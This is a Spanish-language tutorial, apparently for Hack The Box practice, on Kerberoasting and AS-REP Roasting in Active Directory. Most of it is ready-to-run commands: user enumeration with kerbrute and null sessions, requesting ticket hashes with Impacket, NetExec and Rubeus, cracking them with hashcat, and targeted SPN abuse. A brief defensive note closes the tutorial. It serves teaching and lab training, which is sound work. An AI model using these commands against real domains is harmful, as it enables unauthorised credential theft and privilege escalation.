Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear

Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).

· 3 min de lectura

Son los dos ataques más rentables al empezar con un Active Directory: no explotan ningún fallo de software, solo cómo funciona Kerberos. Ambos te dan un hash que se crackea sin conexión, sin bloquear cuentas ni hacer ruido en el controlador de dominio.

AS-REP Roasting Kerberoasting
Qué necesitas Solo una lista de usuarios Las credenciales de cualquier usuario del dominio
Cuentas vulnerables Las que tienen "no requerir preautenticación Kerberos" Las cuentas de usuario con un SPN (cuentas de servicio)
Qué obtienes Parte del AS-REP cifrada con la contraseña del usuario Un ticket de servicio (TGS) cifrado con la contraseña del servicio
hashcat -m 18200 -m 13100 (RC4), -m 19700 (AES256)

Antes de empezar

Apunta el dominio y el DC en /etc/hosts y sincroniza la hora: Kerberos rechaza peticiones con más de 5 minutos de diferencia.

echo '10.10.10.10 dc01.corp.local corp.local' | sudo tee -a /etc/hosts
sudo ntpdate 10.10.10.10        # o: sudo rdate -n 10.10.10.10

Cuidado

El error KRB_AP_ERR_SKEW (Clock skew too great) significa exactamente eso: la hora. Si no puedes cambiar la del sistema, mira la diferencia con ntpdate -q 10.10.10.10 y lanza cada comando con faketime, por ejemplo faketime -f '+7h' impacket-GetUserSPNs ....

AS-REP Roasting (sin credenciales)

Normalmente, para pedir un TGT tienes que demostrar que conoces la contraseña (la preautenticación). Si una cuenta tiene desactivada esa comprobación (DONT_REQ_PREAUTH), el DC te devuelve una respuesta cifrada con su contraseña a cualquiera que la pida.

1. Consigue nombres de usuario

Sin credenciales, prueba:

# Kerbrute valida usuarios por Kerberos (y avisa si alguno no requiere preautenticación)
kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Sesión nula / invitado por SMB o RPC, si el DC lo permite
nxc smb 10.10.10.10 -u '' -p '' --users
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute

Los nombres de la web de la empresa (jsmith, john.smith) también valen: genera variantes con username-anarchy.

2. Pide los AS-REP

impacket-GetNPUsers corp.local/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.10.10 -format hashcat -outputfile asrep.txt

Si ya tienes un usuario, puedes pedir directamente la lista de cuentas vulnerables a LDAP:

impacket-GetNPUsers corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10 -request -format hashcat
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --asreproast asrep.txt

3. Crackea

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting (con un usuario cualquiera)

Cualquier usuario del dominio puede pedir un ticket para cualquier servicio. Ese ticket va cifrado con la contraseña de la cuenta que ejecuta el servicio. Si es una cuenta de usuario (no de máquina) con una contraseña puesta a mano, se puede crackear.

# Lista las cuentas con SPN y pide sus tickets
impacket-GetUserSPNs corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# Lo mismo con NetExec
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --kerberoasting tgs.txt

Desde una shell en una máquina Windows del dominio, con Rubeus:

.\Rubeus.exe kerberoast /outfile:tgs.txt
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

Crackea según el tipo de cifrado, que se ve al principio del hash:

hashcat -m 13100 tgs.txt rockyou.txt   # $krb5tgs$23$...  (RC4)
hashcat -m 19700 tgs.txt rockyou.txt   # $krb5tgs$18$...  (AES256, mucho más lento)

Truco

Si solo tienes un hash NTLM del usuario y no su contraseña, Impacket acepta -hashes :<NT> en lugar de la contraseña.

Kerberoasting dirigido

Si tienes permisos de escritura sobre otro usuario (GenericWrite, GenericAll, WriteProperty sobre servicePrincipalName), puedes ponerle un SPN, pedir su ticket y quitárselo. BloodHound te enseña esos permisos; targetedKerberoast.py lo hace todo de una vez:

python3 targetedKerberoast.py -d corp.local -u usuario -p 'Contraseña1' --dc-ip 10.10.10.10

Errores típicos

  • KDC_ERR_C_PRINCIPAL_UNKNOWN en GetNPUsers: ese usuario no existe. Es justo lo que usa Kerbrute para enumerar.
  • KDC_ERR_PREAUTH_REQUIRED: el usuario existe, pero no es vulnerable a AS-REP Roasting.
  • No sale ningún SPN: las cuentas de máquina (DC01$) y krbtgt no cuentan; sus contraseñas son aleatorias y larguísimas.
  • El hash no crackea con rockyou: prueba reglas (-r /usr/share/hashcat/rules/best64.rule) y una lista con el nombre de la empresa, la estación y el año (Corp2024!, Otoño2024).

Y después

Con la contraseña nueva, vuelve a enumerar: ¿a qué tiene acceso esa cuenta (SMB, WinRM, MSSQL)? Las cuentas de servicio suelen tener más privilegios de los que deberían, y a menudo son el camino a administrador del dominio. Ejecuta BloodHound con ellas y mira qué rutas se abren.

Nota

Para defenderse: contraseñas largas y aleatorias en las cuentas de servicio (o mejor, gMSA), desactivar RC4 donde se pueda y no marcar nunca "no requerir preautenticación" salvo que sea imprescindible.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

AS-REP roasting 8 máquinas

Ver las 8 máquinas →

Kerberoasting 12 máquinas

Ver las 12 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo